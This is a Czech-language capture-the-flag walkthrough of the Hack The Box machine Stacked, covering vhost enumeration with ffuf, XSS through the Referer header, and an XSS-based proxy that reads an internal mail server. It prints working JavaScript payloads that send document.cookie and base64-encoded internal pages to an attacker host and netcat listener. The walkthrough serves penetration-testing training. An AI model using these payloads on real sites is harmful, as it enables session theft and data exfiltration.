Zpět na domů

HTB Stacked: XSS a Docker útěk walkthrough

Mašina Stacked na Hack The Box demonstruje řetězec útoků: od vhost enumeration přes ffuf po XSS v Referer, proxyování vnitřního mail-serveru a RCE s únikem z Docker kontejneru. Podrobně rozebrány příkazy nmap, gobuster, payloads a architektura LocalStack.

Útěk z Dockeru na HTB Stacked přes XSS
Advertisement 728x90

Únik z Docker kontejneru přes XSS a RCE na HTB Stacked

Skenování hostitele 10.129.228.28 pomocí nmap odhalilo otevřené porty: 22 (OpenSSH 8.2p1), 80 (Apache 2.4.41) a 2376 (Docker daemon s TLS). Na portu 80 je dostupná doména stacked.htb po přidání záznamu do /etc/hosts. Hlavní stránka obsahuje pole pro e-mail bez viditelného síťového provozu při odeslání.

Prohledávání adresářů gobuster s common.txt nepřineslo výsledky. Přechod k výčtu virtuálních hostů ffuf odhalil subdomains-top1million-5000.txt s filtrem podle slov (-fw 18) — nalezen portfolio.stacked.htb.

gobuster dir -u http://stacked.htb -w /usr/share/wordlists/dirb/common.txt
ffuf -u http://stacked.htb -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.stacked.htb" -fw 18

Analýza portfolio.stacked.htb a LocalStack

Stránka portfolio.stacked.htb popisuje společnost Stacked, která využívá LocalStack — lokální emulátor AWS služeb v Docker kontejnerech. Je dostupný docker-compose.yml s předanými porty:

Google AdInline article slot
  • 443 (HTTPS)
  • 4566 (LocalStack API)
  • 4571 (pravděpodobně Elasticsearch)
  • 8080 (Web UI)
wget http://portfolio.stacked.htb/files/docker-compose.yml
docker compose up

V dolní části stránky je uveden rok vytvoření — potenciální vodítko pro další zneužití.

Detekce a zneužití XSS

Formulář pro odeslání osobních údajů na portfolio.stacked.htb odráží HTML tagy se zprávou "xss detected!". Přímé vložení do těla požadavku na /process.php nefunguje ani s dvojitým URL kódováním.

Testování hlaviček (User-Agent, Origin, Referer) ukázalo zranitelnost v Referer. Payload <script src="http://10.10.16.10/test.js"></script> je úspěšně proveden:

Google AdInline article slot
let req1 = new XMLHttpRequest();
req1.open('GET', 'http://10.10.16.10/cookie=' + document.cookie, false);
req1.send();

Cookie jsou chráněny HttpOnly. Změna na document.location odhalila origin: http://mail.stacked.htb/read-mail.php?id=2.

CSRF útok přes XSS pro přístup k mail.stacked.htb

Nová subdoména mail.stacked.htb přesměrovává externí požadavky. Prostřednictvím XSS oběti implementujeme proxy:

  • Vložíme <script src="http://10.10.16.10/exploit.js"></script>.
  • Skript požádá o interní stránku, zakóduje do base64 a odešle na attacker:9001.
let req1 = new XMLHttpRequest();
req1.onreadystatechange = function(){
    if (this.readyState == 4){
        data = btoa(req1.response);
        let req2 = new XMLHttpRequest();
        req2.open('GET', 'http://10.10.16.10:9001/page=' + data, false);
        req2.send();
    }
}
req1.open('GET', 'http://mail.stacked.htb/read-mail.php?id=1', false);
req1.send();
nc -nlvp 9001
echo -n "PD9..." | base64 -d > index.html

Doručená pošta obsahuje e-mail od Jeremyho Tainta o spuštění S3 instance (id=1). CSS/obrázky se nenačítají kvůli síťovým omezením.

Google AdInline article slot

Co je důležité

  • XSS v hlavičce Referer vede k provedení JS v kontextu oběti.
  • Base64 proxy přes XMLHttpRequest obchází síťová omezení Dockeru.
  • LocalStack docker-compose odhaluje interní porty a architekturu.
  • Výčet vhostů je kritický při neúspěšném dirbustingu.
  • Filtr ffuf podle slov (-fw) řeší problém dynamického obsahu chyb.

— Editorial Team

Advertisement 728x90

Číst dál